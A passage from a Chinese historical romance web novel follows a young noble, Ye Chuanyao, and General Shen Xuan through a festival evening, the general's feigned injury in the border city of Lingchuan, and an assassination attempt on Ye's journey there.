“哦,”叶川遥又问,“那我这个初出茅庐的大头兵,可有机会能见到英明神武的大将军?” 沈翾被他的话逗地轻笑一声。 如实道:“大抵……是见不到的。” “……” “哦,”叶川遥点点头,眼中落寞明显。 沈翾打量他片刻,忽地沉声道:“阿遥。” “嗯?”叶川遥微怔。 沈翾看着他,眼底如深深幽谷,晦暗不明。 他顿了顿,才一字一句道:“你若喜欢排兵布阵,去兵部也一样能够大有作为,并非一定要亲临战场。” “毕竟刀剑无眼……” 叶川遥在沈翾身旁坐下,双手托腮凑近几分,眼尾微弯,轻声问:“将军可是舍不得了?” “怕我受苦?” 沈翾看着近在咫尺的明亮清眸,低头笑笑。 随着心意道:“的确舍不得。” “世子身份尊贵,聪明过人,实在不该去过刀枪剑戟的日子。” 心上的甜还未来得及散开,便化为丝丝缕缕的酸楚,袭满全身。 叶川遥忽觉鼻尖一酸,胸口隐隐发闷。 那你呢? 又为何要过这样的日子? 叶川遥压下心中酸涩,一字一顿道:“纸上谈兵终不如身临其境。坐在家中调兵遣将也非我所愿。” “况且,我也想去看看将军走过的路。” 去看你守护着的万里疆土,和那淡然悠远的云海山川。 去站在你身旁,同望一片广袤山河。 沈翾看着面前的人,眉头微蹙,眼底幽深错杂,心头掀起一阵茫然悸动。 去看他走过的路…… 可若世子知道他这一路是如何走过来的,还会这般视他如英雄吗? 那条被血染透的路,他又怎么舍得让他跟着再走一遭? “将军,将军?” “翾哥哥!” 沈翾骤然回神,目光深邃看向面前之人。 “怎么了,是有什么事吗?”叶川遥不明所以地问。 “无事。” 沈翾轻叹一口气,又恢复成淡然老成的模样。 见他的茶饮了不少,叶川遥欢声道:“看来你是真喜欢这茶,一会儿我让人给将军多带一些回去!” 沈翾心里藏着事,并未推辞,随口应下:“好,多谢世子。” 叶川遥听着他客气有礼的语气,心中一阵郁结。 好一个大将军,在这里跟他玩若即若离是吧! 几日前的那些旖旎难道都是他的错觉? 抱他上马,与他肌肤相贴的人难道不是他沈翾? 这会儿却翻脸不认人,装起冷淡来了! 叶川遥心中有气,可又不好明说,只好淡声道:“何必这么客气,该道谢的是我。将军送我那么多好东西,我却只有这个能回报将军,实在有愧。” 他心里堵得慌,语气便有些生硬,不高兴全写在眼里。 沈翾心尖一颤,人生头一次生出悔意。 他是不是……说错话了? “我……”他难得语塞,斟酌着道,“送你的东西,都是我精挑细选出来的。” “是我想送你,自然无需回报。” 叶川遥的脸色这才缓和了些,抿唇道:“回报还是要的,不过这个等日后再说。” “左右我现在也还不起,以后慢慢还吧!” 沈翾:“……” 安排得倒是明白。 说起这个,叶川遥才忽然想起,沈翾今日送他的成人礼他还没有看呢! 不过礼物已经被凌舟收了起来,可这会儿心下好奇,也只好直接问送礼之人。 “将军,你送我的礼都是些什么?” 沈翾看着他好奇发亮的黑眸,笑着道:“回去自己看吧。” “你先跟我说说嘛!我好奇!”叶川遥追问道,“是兵器,字画?” “还是宝石,金器?” 沈翾饶有兴致地看向他:“你喜欢这些?” “还行吧,好东西谁不喜欢?” 沈翾若有所思地点点头:“行,知道了。” 叶川遥:“……” 不是,你知道什么了?! 沈翾笑着起身:“这几日好好陪陪你父亲,我先告辞了。” “哦,好,”叶川遥跟着起身,“那我送你。” 沈翾嗯了声,两人肩并肩朝着门外而去。 下人们忙里忙外,见着两人远远避开,生怕扰了他们。 到了府门口,沈翾停下脚步:“世子留步。” “嗯,”叶川遥笑着道,“那将军慢走,我们……” “改日再见。” “好。”沈翾笑着应了声,轻轻转身。 方迈出两步,又再次停下。 回过头,冲门口之人柔声道:“阿遥。” “生辰快乐。” 第35章 送走了沈翾, 叶川遥回到自己院子。 今日他是真的高兴。 不仅有亲人和好友相伴,又达成夙愿,心中自是喜不自胜。 凌舟把今日得的礼都堆在书房, 锦盒错落,只等着少爷回来清点入库。 “少爷,这边是五殿下的, 这边是大将军的。” “看看他们都送了我什么。” 叶川遥眼眸发亮,迫不及待地先将沈翾送来的箱子一一打开。 一条翡翠剑穗, 一对月白琉璃碗, 一套兵书,一顶水晶莲花樽, 还有一把檀香描金折扇。 都是精美绝伦之物。 他将那折扇拿在手里, 触感丝滑温润, 淡香萦绕。 扇面上还提了词, 笔锋刚劲行云流水,恰到好处。 如此精美之物, 这世上恐怕再无其二。 叶川遥反复翻看着,爱不释手, 眉眼弯道:“将军果然懂我所好。” 凌舟一边整理, 一边点头道:“将军与少爷相识的时日虽不长, 但对少爷倒是十分了解。” 他说着看向叶川遥,神秘兮兮地问:“哎少爷, 你跟将军,是真的在一起了吗?” “以后会成亲吗?” 叶川遥指尖一顿, 眼中闪过微微幽色。 如今他连沈翾的心意都还没弄清楚呢,谈何在一起? 他叹口气,想了想, 转头问凌舟:“凌舟,你觉得……大将军对我如何?” “嗯……” 凌舟放下手里的东西,仔细思索着道:“从前听说大将军冷心冷面,杀伐狠厉,只觉得吓人得很。” “但我瞧着,他跟少爷在一起时却总是眉目含笑,耐心有礼。看少爷的眼神也甚是温柔!” 他不知道该怎么形容:“哎呀反正就是,将军对少爷与对旁人很不一样!” 叶川遥在房内缓缓踱步,默默思忖着凌舟的话。 沈翾的确对他照顾有加,事事顾及他的感受。 从来没见他对旁的人如此上心过。 所以他对自己,也不是毫无感觉的吧? 那也是…… 喜欢着他的吗? 心口跳动如雷似鼓,芳草浮动。 那一丝微弱的希望渐渐化成满心澎湃的喜悦,搅得整颗心都灼热起来。 叶川遥轻笑一下,心下释然几分。 他将面前的东西仔细收好,长舒一口气:“管他呢,日后的事日后再说,反正来日方长!” “说得没错!” 凌舟大声道,“我们少爷这么好,还怕他会不动心吗?” 叶川遥闻言轻笑:“只有你觉得你家少爷什么都好!” “对了,五殿下送了我什么?” “是上次诗会时,少爷说很喜欢的那方古砚。” 凌舟把东西递给他,笑道:“五殿下对少爷也是极好的!” 叶川遥将那砚台接过,举着欣赏了须臾。 后小心收起,冲凌舟道:“下个月五殿下生辰,把那对白玉足杯送他吧。” “本来是留着给他做新婚贺礼的,可如今看来,这家伙还不知要什么时候才能娶上王妃呢!” “还是生辰的时候便给他吧,那么好的东西别白白压箱底。” “好,”凌舟应道,“五殿下平日里最喜欢收集这些酒器,一定高兴!” 两人将礼物点好入库,只留下几样在房里。 凌舟走后,叶川遥打开柜子,从里面拿出一个不大不小的箱子。 这是他的私藏,平日里鲜少拿出来,连凌舟都不曾知晓。 开了锁,叶川遥将里面的东西小心翼翼取出,置于榻上。 一共五件,皆是贵重之物。 这些都是沈翾从前送他的生辰礼。 沈翾与他虽素未谋面,却每年都会为他挑一样生辰礼,托父亲送给他。 叶川遥明白,这是沈翾与父亲的交情,与他半分干系也没有,他只是沾了父亲的光罢了。 可不耽误他高兴。 管他是因为什么,总归这些礼是赠与他的。 他一直珍藏着这些,难过的时候拿出来看一看,也算聊以慰藉。 而如今,沈翾终于将礼物亲手交到他手上 ,他们之间的联系不再只有父亲。 叶川遥的心里像裹了一层蜜,绵绵软软,满足又欣喜。 漂亮的桃花眼尾上扬着,芳毫下清眸浅浅,胜过落日缥缈,红霞满天。 等着吧,沈怀清。 你跑不掉的。 * 沐兰佳节至,弥弥艾草香。 此乃国公府解封后的第一个团圆节,阖府上下无不用心。 凌舟一早便带着人上山,采了许多艾草回来。 浴兰熏香,驱邪避灾,祝祷往后的日子平安顺遂。 叶雨柔和娘亲一起做了些香包,里面放了花椒和艾草,驱病纳福。 叶川遥接过香包,笑着道:“柔儿的手艺真是越发好了,比绣坊里的绣娘还要好上几分呢!” 叶雨柔莞尔一笑:“平日里无事可做,也只能做这些打发时间了。” 叶川遥笑容温和:“平日里多跟其他小姐出去走走,别总闷在家里。” “寻几个能交心的朋友,说说体己话。” “知道啦!”叶雨柔笑道。 “对了,听伯父说,哥你过几日要去军营?” “嗯,”叶川遥道,“后日便去。” “那去了军中还能回家吗?” 叶川遥笑笑:“每月会有一日休沐,到时便可回来。” “哦,”叶雨柔还是有点不放心,“那军营里是不是很苦?一间房要很多人睡在一起吧?” “你那么爱干净,能受得了吗?” 叶川遥弯唇轻笑一声:“放心吧,你哥没有那么弱不禁风。旁人能睡,我自然也能睡。” 叶雨柔半信半疑地点点头:“好吧,那你自己多注意身体。” 叶川遥欣然一笑。 柔儿长大了,懂事了。 他便更能放心去军中了。 他看着手里的香包,淡淡的香气沁人心脾,甚是好闻。 眨眨眼,道:“柔儿,你这香包,还有多的吗?” 叶雨柔点点头:“还有,方才凌舟只拿走了两个,还有剩的呢。” “那……再给我一个吧!”叶川遥道。 “好。”叶雨柔便又拿了一个给他,柔声道:“你若喜欢,我这两日再多做几个,你拿去慢慢用。” “无妨,这些就够了。”叶川遥笑道,“多谢柔儿。” 用过晚饭,叶川遥带着凌舟出门。 白昼渐长,又逢佳节,街上行人比平日里多了许多,三三两两嬉笑打闹,好不热闹。 叶川遥许久没有出门闲逛,这会儿见到熟悉的小吃杂耍,恍如隔世。 “酒酿圆子,酸酸甜甜的红果酒酿圆子呦!” 清脆的叫卖声穿过熙熙攘攘的人群,自前方缓缓传来。 叶川遥停在原地,远远地望着,不禁想起那日沈翾给他买吃食的情景。 那日自剑心阁出来,他一路不停,转了很多小吃铺子,各种吃食买了一推。 而沈翾也不厌烦,就那样陪着他逛,还要不停地掏银子,拎东西,好似他的随从。 想起这些,叶川遥不禁嘴角上扬。 他抬脚朝摊子走过去,冲店家道:“老板,给我来两份圆子,多加糖。” “好嘞,两位这边坐,马上就来!” “入夜还吃这么多糖,不怕牙疼?”带着笑意的清透嗓音落至身后。 叶川遥心下一颤,匆忙转身。 “将军!”高兴溢于言表。 沈翾负手站在叶川遥面前,唇角微勾,眉目温柔。 月色落下淡淡侧影,朦胧中深邃眼底却分外明亮。 心跳不由失控,叶川遥开心地想要跳起来,欢声而问:“将军怎么会在这里,一个人出来闲逛吗?” 沈翾轻笑一声,慢条斯理道:“远远听见叫卖声,想着你也许会在此,便寻过来看看。” “没想到竟真的在。” 叶川遥随之一笑:“我还以为是将军与我心有灵犀,长街偶遇,没想到竟是占了贪吃的好处!” 沈翾意味深长地看着他,眼底清波微荡。 凌舟朝沈翾见了礼,匆匆道:“少爷,我去那边帮陈叔买点东西,咱们回府里见吧!” 说完拔腿就跑。 叶川遥:“……” 这小子倒是真放心。 “圆子好嘞!”店家吆喝着端上两碗圆子。 叶川遥指着碗问沈翾:“将军要吃吗?” “好。”二人拂衣而坐。 “好吃吗?”叶川遥问。 “嗯。”沈翾点头应了声。 叶川遥轻笑:“将军不喜欢吃甜吧?” 谎言被拆穿,沈翾极轻地苦笑一声,放下勺子:“确实太甜腻了些。” “不喜欢何必勉强,”叶川遥眯着眼笑道,“给我吧,刚好没吃够呢!” 叶川遥将碗端过去,将沈翾剩下的几个圆子几口消灭掉。 “呼,好撑啊,不过好过瘾!” 沈翾意味不明地睨向变空的碗,眼中波涛一瞬而过。 清声道:“要走走吗?” “嗯,好。”叶川遥欣然道。 两人沿着街市慢步而行,偶尔闲话几句,人流攒动中双肩相碰,于隐隐灯火中生出万千旖旎。 叶川遥无意间触到袖中香包,遂停下脚步,递给沈翾。 “这是舍妹做的香包,将军若不嫌弃,可以留下,驱灾僻邪。” 沈翾伸手接过,柔声道:“好。” 说完从怀中取出一物,递上前。 是一块四方玄铁,上面单刻着一个“翾”字。 叶川遥不明所以地接过:“这是……” “明日我便要动身前往陵川,大概要去些时日。” “若有急事,可凭此物去将军府调人。” “这是将军的令牌?”叶川遥惊诧道,“如此重要之物怎么能给我……” “无妨,拿着便是。” 沈翾微微一笑,嗓音缱绻道:“如此,我才能放心。” 叶川遥微怔住,直直地看着面前之人,呼吸急促而热烈。 深吸一口气,冷静几分,这才问:“为何突然要去陵川,可是出了什么事?” “不是什么大事。”沈翾淡声道。 “等去了军中,一切听从杨护军的安排,有什么事可以直接同他说。” 叶川遥点头应道:“我记下了。” 沈翾为他安排得如此周全,他虽心中高兴,却隐隐生出一丝不安。 “真的没事吗?” 沈翾轻笑着不答反问:“我何时骗过你?” 叶川遥点点头,看着手里的令牌道:“那我小心收好,等将军回来,再还给你。” 沈翾笑笑,顺着话道:“好。” “两位公子,买盏灯放吧,明灯一飞天,病灾全都散!” “好。”沈翾买下两盏灯,两人写好字,慢步来到河边。 “将军写了什么?” 沈翾笑而不答,缓缓松手将灯放飞。 叶川遥抬头望去,便咧嘴笑开来,指尖亦缓缓收起。 【幸得识卿桃花面,从此阡陌多暖春。】① 【愿我如星君如月,夜夜流光相皎洁。】② 明亮火光摇曳飞升,烛火跳跃下的心事热烈而深刻。 你心如我心,一切足矣。 沈翾将叶川遥送回府里,二人于门口分别。 “那我回去了。”叶川遥慢吞吞道。 “嗯,”沈翾应声,“早点歇息。” “嗯。”叶川遥看他一眼,不舍地缓缓转身。 “阿遥。”沈翾复又将人叫住。 叶川遥回头,便听廊下之人一字一顿沉声道:“等我回来。” 阶上之人嫣然一笑,眸中似秋波潋滟,惊了一世华光。 “好。” 我……等你回来。 第36章 夜已深, 万籁俱寂。 沈翾回到府中,明烛正在收拾行装。 “见到世子了吗?” “嗯。”沈翾淡淡应了声,“东西都收拾好了?” “收拾好了, 随时可以动身。” 沈翾看一眼漆黑夜色,沉声道:“一刻后出发。” 前夜丑时,城防营在城中发现一具尸首, 经盘查为前禁军步兵校尉冯时。 此人八年前围剿飞龙寨时身受重伤,之后便以此为由返乡, 多年来音信全无。 如今尸首却凭空出现在京中, 着实蹊跷。 沈翾让南桑暗中调查,发现冯时死前曾去过一个地方, 以五百两银子换了一封去陵川的路引。 当年飞龙寨被禁军围剿后, 三十多名禁军先后离京。要么被派往地方, 要么伤重回乡。 沈翾觉得蹊跷, 一直暗中查探,却只得到其中几人的死讯。 离京的禁军接二连三出事, 绝非巧合。 如今冯时的路引通向陵川,那个飞龙寨的罗二也在陵川, 这一次, 他必须亲自去一趟。 两人轻装简行, 趁着夜色出发,快马飞奔, 第二天入夜便到了陵川城,直奔明月楼。 “属下参见主上。”冷月半跪道。 “不必多礼。”沈翾淡声坐下, “起来说话。” 冷月起身,回禀道:“属下前夜接到阁主的飞鸽传书,便派人连夜查探。” 沈翾:“可查到什么?” “这个冯时自八年前离京, 便化名孙钱,在江州码头以搬货为生。后来又辗转多地,两年前才到了陵川。” “此人行踪不定,甚是谨慎,与旁人也从无往来。除了一个叫罗二的人。” “罗二?”沈翾目光一凛。 冷月点头道:“没错,就是主子之前要我们找的那个飞龙寨的二当家。” 沈翾眉头微蹙,默默思忖着。 “不过此二人虽有往来,却只是偶尔见面,至于每次见面说了什么,便无人知晓了。” “这个罗二现下人在何处?” “此人狡猾多疑,我们的人实在跟不住。” 冷月曲膝跪下,垂首道:“属下失职,请主上责罚。” “起来吧。”沈翾面无表情道:“继续寻找此人下落,务必尽快将人找出来。” “是,属下领命。” “北渊那边可有异动?” “并无异常。听说北渊那老皇帝近日身子不大好,几位皇子正斗得火热,根本顾不上其他。” 沈翾端起茶,不疾不徐道:“北渊皇帝如今共有四子,大皇子身子不好,六皇子痴傻不成器,只剩下二皇子和五皇子有继位的可能。” “二皇子好大喜功,穷兵黩武。若日后此人继位,必不会放弃南下,两国边境怕是要永无宁日。” 冷月和明烛不约而同点点头,心生忧虑。 陵川百姓这些年不断受战乱所扰,苦不堪言。如今日子才刚好了些,难道又要重蹈覆辙? 明烛昂头道:“管他们谁继位,有我壹字军在此镇守,还怕他不成!” 沈翾对冷月道:“多留意北渊的消息,有任何异动随时来报。” “是。”冷月应下,又问,“主子今晚是留在明月楼,还是去将军府?” 明烛从旁道:“今晚先留在此处,待大队人马到齐,再回将军府。” “好,房间我已让人收拾好,你们好好休息。属下告退。” 冷月退下,明烛有些担心道:“将军,咱们突然来陵川城,陛下那边会不会起疑?” “无妨,”沈翾喝着茶,慢条斯理道:“边防巡检本就是例行公事,今年不过提早了些。” “他就算真的疑心,也不好多说什么。” “况且……” “我不在京中,他怕是才睡得更安稳。” 明烛轻蔑一笑:“身为一国之君,一心求仙问道,不励精图治也就罢了,还偏偏小人之心,觉得全天下都惦记他那皇位。” “哼,谁稀罕!” “休要胡言。”沈翾轻斥道。 明烛闭嘴,说起别的:“将军,我们接下来该做些什么?” “先等冷月他们的消息。静观其变。” * 时日已至,叶川遥如约前往中军。 “见过杨将军。”叶川遥弯腰恭敬道。 “世子不必多礼。”杨护军笑道,“大将军都同我说了。世子既来了杨某这里,杨某自是无不用心,定让世子不虚此行!” 叶川遥觉得哪里好像不太对,赶紧道:“将军不必费心,给我安排个寻常职务就行。” “我定用心学习,绝不给您添麻烦!” 杨护军摆摆手:“诶,世子身份尊贵,岂能和那些兵撸子厮混?” “不过世子初入军营,根基尚浅,就委屈世子一段时日,先在杨某身边做个随从,历练历练。” “待熟悉了军中事务,再擢升也不迟!” 叶川遥尴尬一笑:“……” 沈翾究竟是怎么同杨护军说的? 说好的刚正不阿、治军严明呢? 如此徇私,传出去不怕他这个大将军的威名受损吗? 杨护军看着面前的青年,心中亦在默默盘算。 这可是未来的大将军夫人,说不定就是未来的皇后! 大将军让他看顾世子,那他便要将人照顾好了!若有什么差池,他还有什么脸面去见大将军? 两人各怀鬼胎,相视一笑。 杨护军带他在营中转了转,又将军中各部的职位名单给他,让他先了解军中概况。 叶川遥无奈,只能听从安排,用心研究。 一整天下来,倒也忙碌充实,受益良多。 入夜,他躺在地方不大却干净整洁的卧房,一个人盯着天花板发呆。 不禁轻笑。 柔儿这回倒是不用再担心他跟其他人挤在一处了。 话说大将军这算是……为他破例了吗? 心里爬上一缕缕甜意,叶川遥缩进被子里,笑弯了嘴角。 也不知沈翾现在在做些什么…… 陵川城内,大将军府。 沈翾在城外同随行的队伍汇合,方才到达府中。 李都尉等人早已来此候着,只等着人来。 “将军,您终于回来了,兄弟们可都盼着呢!” 同这些出生入死的将士们在一起,沈翾也不自觉放松几分,笑道:“是盼着我来给你收拾烂摊子吧?” “怎么,和吴参军又吵起来了?” “将军这是哪儿的话?”李都尉憨笑道,“那个老顽固,我才懒得跟他吵!” 说话间吴参军从门外进来,边走边哼道:“你不是说要让将军评评理吗,怎么这会儿不敢承认了?” “末将参见将军!” “谁说我不敢承认了,评理就评理!”李都尉梗着脖子道。 吴参军嫌弃地瞪他一眼:“将军舟车劳顿,有什么事也该明日再说。” 李都尉反应过来,忙点头道:“哦对对对,将军定乏了,早些歇息,我等明日再来向将军回禀。” “无妨,”沈翾笑道,“说来听听,又所为何事?” 真要说,李都尉反倒有些不好意思,支支吾吾道:“哎呀,倒也不是什么大事,就是……” “就是我家那小子心悦他吴家姑娘,非让我带着聘礼上门提亲。” “我就去了啊,没想到却被这姓吴的给赶了出来!” “将军你说说,姓吴的是不是欺人太甚,不识好歹!” 沈翾不解:“这是为何?” 吴参军道:“李都尉上门前,我已同他说过,待我问过小女意愿,再做答复。” “他却大张旗鼓地直接上门,弄得人尽皆知,大有逼婚之态……” 李都尉瞪眼:“什么逼婚,姓吴的你不要血口喷人!” 吴参军冷哼:“你自己做了什么自己不清楚吗……” 沈翾轻咳一声,争吵声戛然而止。 “本是喜事一桩,何必弄成这样?”沈翾温声道:“吴参军,令爱对李公子究竟是何想法?” 吴参军剜一眼李都尉,不情不愿道:“小女亦心悦那个臭小子。” 沈翾无奈轻笑:“既然双方都有意,自然不能棒打鸳鸯。” “以后你二人便是亲家了,还是要以和为贵,少吵架。” 明烛站在一旁忍俊不禁,添柴加火道:“恭喜二位了!” 李都尉:“……” 吴参军:“……” 陵川刺史灵光一现,提议道:“既如此,何不趁着大将军在此,早些找个良辰吉日,把婚事办了?” 二人相看一眼,顿了顿,难得齐声道:“如此甚好!” 沈翾没想到自己刚落脚,军务还未来得及问,倒先促成了一桩婚事。 这世上之人,大抵都盼着能与心上人两情相悦,携手一生吧。 一生一世一双人,的确美好。 若有朝一日,他与阿遥也能…… 他低笑一声,压下心中繁杂思绪,正色道:“近日来军中可一切如常?” 李都尉道:“一切如常,弟兄们从无一日懈怠。” “嗯,”沈翾道:“北渊随时可能来犯,绝不可松懈。” “说起北渊,”吴参军出声道,“咱们的探子昨日来信,说老皇帝怕是熬不过这个月。” 沈翾抬眼,眸色幽深:“太子人选可定了?” “定了二皇子云澈,只差诏书还未下。” 沈翾眼中晦暗不明,思忖片刻,道:“若云澈继位,必会为巩固皇权而派兵南下。” “命军中各部加紧操练,做好应战准备。” “另外……” “将我在此地的消息找人散播出去。” “将军是想引蛇出洞?” 沈翾站起身,慢条斯理道:“陵川地处几国交界,鱼龙混杂,除了北渊,其他几国也未必不会生出些不该有的心思。” 几人明白过来,应声道:“是,末将遵命!” 临舟城郊,中军大营内。 叶川遥正与杨护军对阵推演,战况焦灼。 杨护军面露惊讶,语气里不掩欣赏。 “没想到世子竟有统兵之才,难怪大将军对世子如此看重!” 叶川遥笑笑:“将军谬赞,我只略读过些兵书,全是纸上谈兵,倒是在将军面前班门弄斧了。” “诶,世子不必自谦,”杨护军摆手笑笑,“以世子之才,他日定可大有作为。” “世人浅薄,只闻他人言,不曾亲眼得见,又岂能窥得真颜。” 叶川遥笑笑:“流言无稽,又何需在意。” “好,世子果然豁达!来,咱们再战一场!” 谈笑间有侍卫前来禀报。 “将军,有陵川来的消息。” 陵川? 叶川遥心下一紧,是北渊有异动,还是沈翾出了什么事? 杨护军起身将信接过,迅速看完,看向叶川遥犹豫道:“世子,大将军他……出事了。” “什么?”叶川遥惊起,呼吸宛如停滞。 “信上说,将军遇刺,身受重伤,如今性命垂危……” 叶川遥倏地瞳孔睁大,浑身如脱力一般,手中军旗缓缓滑落。 性命垂危…… 脑海里只剩下这一句,反复回荡。 见他脸色苍白,杨护军宽慰道:“世子切莫太过担忧,大将军身强志坚,必能逢凶化吉。” 叶川遥看向杨护军,双唇微颤:“将军,我要回府一趟,对不住。” 杨护军叹口气,缓缓点点头:“去吧,我派人送世子回府。” “多谢。” 叶川遥马不停蹄地赶回了国公府,直奔房中。 他心中一团乱,双手不住地颤抖,呼吸凌乱,脑中只有一个念头。 他要去见他。 他要马上看到沈翾,要见他平安无事。 叶青云听了下人禀报立刻赶过来,被叶川遥的神色吓了一跳。 “阿遥,这是怎么了,出什么事了?” “为何要收拾行装?” 叶川遥鼻尖一酸,清泪决堤而出。 “爹,我要去陵川,我要去找他……” 叶青云看着自己儿子叹口气:“你是如何得到的消息?” 叶川遥呼吸一顿:“您也知道此事?” 叶青云顿了顿,神色复杂道:“大将军他的确受了伤,但只是轻伤,你不必太过担心。” 叶川遥怔住:“这是什么意思?” “若是如此,那为何杨护军收到的密信里,却说将军性命垂危?” 叶青云自怀中取出一封信,递给他,坐下道:“你自己看看吧。” 叶川遥胡乱抹了抹脸上的泪,将信迅速打开。 叶青云从旁沉声道:“大将军故意放出伤重的消息,想是自有安排。” “他怕你得了信儿担心,特让人将实情告知于我。” 他叹口气,心里五味陈杂。 “我原以为,京中那些流言不过权宜之计,沈翾就算真的对你有意,也不过是因为这段时日的相处,才生出了几分情谊。” “没想到,他竟对你上心到如此地步。” “只因怕你太过担心,便冒着功亏一篑的风险,将底牌全都告知于你。” 叶川遥的心里一阵阵揪着,早已溃不成军。 “爹,我要去陵川。” “大将军告知你实情,就是为了让你安心。你既知他只是轻伤,为何还要去?” 叶川遥吸了吸鼻子,正色道:“将军一定出了什么事,我想待在他身边。” 叶青云劝阻道:“若将军真有危险,你去了也帮不上什么,只能白白添乱!” “不如待在京城,安心等他回来便是!” 叶川遥摇摇头,哽咽着道:“爹,就算什么也做不了,我也想待在他身边,亲眼看到他平安我才能放心。” 他屈膝跪下,眼神坚定道:“爹,孩儿不孝,您就成全儿子这一回吧!” “你,你!你这个傻孩子,怎么就这么一根筋呢……” “沈翾虽好,可身边却是龙潭虎穴,你又是何苦?” 叶川遥面不改色:“阿爹,您早就知道的,不是吗?” “是,”叶青云长叹一声,“那年得知陛下为大将军和公主赐婚,你把自己关在房里一天一夜。” “为父就全猜到了。” 他虽不舍自己儿子身入险境,但见叶川遥心意已决,自知拗不过。 末了颤声道:“罢了。” “带上几个人,护送你去罢。” “谢谢爹!” 叶川遥最终只带了凌舟,次日一早,两人便快马加鞭赶往陵川。 没想到刚出城,就遭人拦路,雪亮刀锋直奔二人而来。 这些人并非普通劫匪。 而是…… 想要他的命。 第37章 叶川遥不知谁能与他有如此的深仇大恨, 还专门派了死士来杀他。 可要说看得起他吧,对方只来了四个人。 要说不把他放在眼里吧,偏偏青天白日的还黑衣加身, 黑布遮面,生怕露了身份。 不过眼前种种情形倒是同前世极为相似。 想起凌舟倒在血泊里的模样,叶川遥的眼里迸发出凛冽寒光。 这段时日他勤练剑术, 又有沈翾这个“师父”指点,武艺已大有长进, 早与前世不同。 这一次他绝不会再让凌舟死在自己面前。 两人互为相依, 提剑协力对敌。一时间刀枪剑戟,交战声不绝于耳。 对方显然没有料到叶川遥竟是会武的。 几个回合厮杀下来未能得手, 一人烦躁地冲同伙喊了句:“怎么回事?” “不是说这小子弱不禁风吗!” 叶川遥抬剑挡住扑面而来的长刀, 哼了声, 眸光凛冽:“想杀我, 可没那么容易。” 反手利落地一剑刺向对方手臂,血染利刃。 “说, 究竟谁派你们来的?” 黑衣人并未言语,一个闪躲后挥刀奋力抵挡。 另一边, 凌舟被两名黑衣人围困, 眼看着招架不住。 叶川遥心下一急, 匆匆移步过去支援。 见他过来,凌舟瞳孔一震, 费力喊道:“我拖住他们,少爷你快走!” 叶川遥横剑挡在他身前:“要走一起走!” 凌舟肩膀受了伤, 血不断流出,脸色越来越苍白。 二人拼力顽抗,却还是寡不敌众, 渐渐落了下风。 叶川遥单手持剑撑着地,胸口起伏不定,身疲力竭。 难道今日……他们真的要交代在这里了吗? 这一世明明许多事都已发生改变,却为何还是这样的结局? 沈翾…… 早知道,该把一切都告诉他的…… 千钧一发之际,两名男子策马飞奔而来,一剑挑开朝叶川遥胸前径直袭来的长刀。 得以喘息,叶川遥重新起身抗敌。 那两名男子出招凌厉果断,武艺超绝,战局瞬间得以扭转。 不多时,四名黑衣人尽数被擒。 叶川遥将手中长剑架在其中一人的脖子上,厉声逼问:“快说,是谁派你们……” 还未来得及审问,几人齐齐倒向一旁,口吐鲜血,须臾间便没了气息。 竟是死士! 没想到背后之人竟是下了血本的。 叶川遥压下震惊,伸手在那几个黑衣人身上摸了摸,却并未找到任何线索。 白衣男子走到他面前,不疾不徐地问:“世子可有哪里受伤?” 此人身姿挺拔,眼中含笑,看上去风度翩翩,清风俊逸。 若不是亲眼所见,叶川遥绝不敢将他同方才那个出手狠厉之人联想到一起。 “在下无碍,”叶川遥抬手作揖,真诚道:“多谢二位侠士出手相救。” “不知两位尊姓大名?” 男子笑笑,淡声道:“举手之劳,世子不必介怀。” 对方不愿吐露身份,叶川遥自是不好多问。 不过他总觉得面前的男子有些熟悉,偏一时又想不起在哪里见过。 而此人居然认得他…… “敢问世子,这是要去往何处?” 叶川遥回以微笑道:“有点事,要去趟渝州亲戚家。” 男子了然一笑,并未多问,只道:“那些贼人今日未得手,想来不会善罢甘休。不如让在下护送世子前去。” “多谢,两位侠士的救命之恩已无以为报,又岂敢再劳烦?”叶川遥婉拒道。 “再往前不远便是渝州城,只要进了城便安全了。” 男子笑笑,不再勉强:“好,那世子一路当心。” 凌舟的伤口已经妥善处理好,二人上了马,动身前往渝州。 男子站在原地,看着两人的身影渐渐消失,对身后之人道:“吩咐下去,一路护好世子。” “是,阁主。” 凌舟身上有伤,不能太过劳累。 二人经过渝州,赶在天黑前到了平阳城,打算在客栈休息一晚再动身。 叶川遥找来郎中替凌舟换了药,为避免引人注目,两人只得留在房中用饭。 “少爷,你说今天追杀我们的会是什么人?” 叶川遥摇摇头:“不知道。” 他没有什么仇家,硬要说结怨的也就一个杜迟。 不过那家伙应该没这么大胆子,敢找人公然行刺。 况且,能培养出如此衷心的死士,背后势力绝对非同一般。 凌舟略一思忖道:“会不会是六皇子?” 叶川遥也想过这个可能,可仔细一想又觉得说不通。 “他若想杀我,此前就不会那么大费周章了。” 季寒此人胜负欲极强,既想得到他,又怎么会轻易让他死? 想不出头绪,叶川遥蹙眉道:“不管是谁,我们小心行事。” “好。” 两人歇了一晚,为免夜长梦多,天不亮便启程出发,终于赶在城门关闭前到达了陵川。 月上柳梢,灯火初燃,无边夜色方显流光溢彩。 桥下轻舟随波慢行,荡起光影重重。两名男子垂膝而坐,一人言语,一人轻笑,淡淡清影跃然水中。 街市上行人和摊贩犹在,孩童结着伴蹦蹦跳跳,瞧着甚是热闹。 凌舟看着眼前情景,不禁感叹:“没想到这陵川城竟如此繁华!” 叶川遥翻身下马,看着周遭琳琅满目,缓缓道:“陵川地处几国交界,虽鱼龙混杂,时有纷乱,却也往来商贸众多,物产丰富。” “也正因如此,才引得北渊和西夷觊觎,虎视眈眈。” 凌舟牵着马,不忿道:“哼,自己没有,就惦记别人的。” 叶川遥笑笑:“人之本性罢了。” “少爷,咱们是直接去将军府吗?需不需要让人先去通报一声?”凌舟问。 叶川遥思忖片刻,摇头道:“不,将军恐怕是有要紧的计划,此刻将军府内外一定戒备森严。” “我们贸然前去,恐会坏了将军的大事。” “那咱们现在该怎么办,要不然还是先去客栈?” 叶川遥摸了摸胸口的令牌,狡黠一笑。 “这将军府自然是要去的。” “不过……咱们得偷偷去,看看这将军府里究竟在搞什么名堂。” “少爷,你不会是打算……” 叶川遥嘿嘿一声:“没错。” 凌舟:“……” 夜探将军府,您可真是艺不高,胆子却大得很啊! 二人去了将军府附近的一家客栈,拴好马,点了几样小菜,坐在窗户边一边吃一边远远观察着外面的情形。 果然不出他所料。 叶川遥叫住个小二,状似随意地问:“这位小哥,这将军府怎的围了这么多官兵,可是出了什么事?瞧着怪吓人的啊!” 小二向外看了一眼,低声回到:“哎呦,您还没听说吗?大将军前几日被人行刺,身受重伤,如今还生死未卜呢!” “城中有名的大夫已经去了好几位,可一个也没见出来,也不知里面究竟是什么情况!” 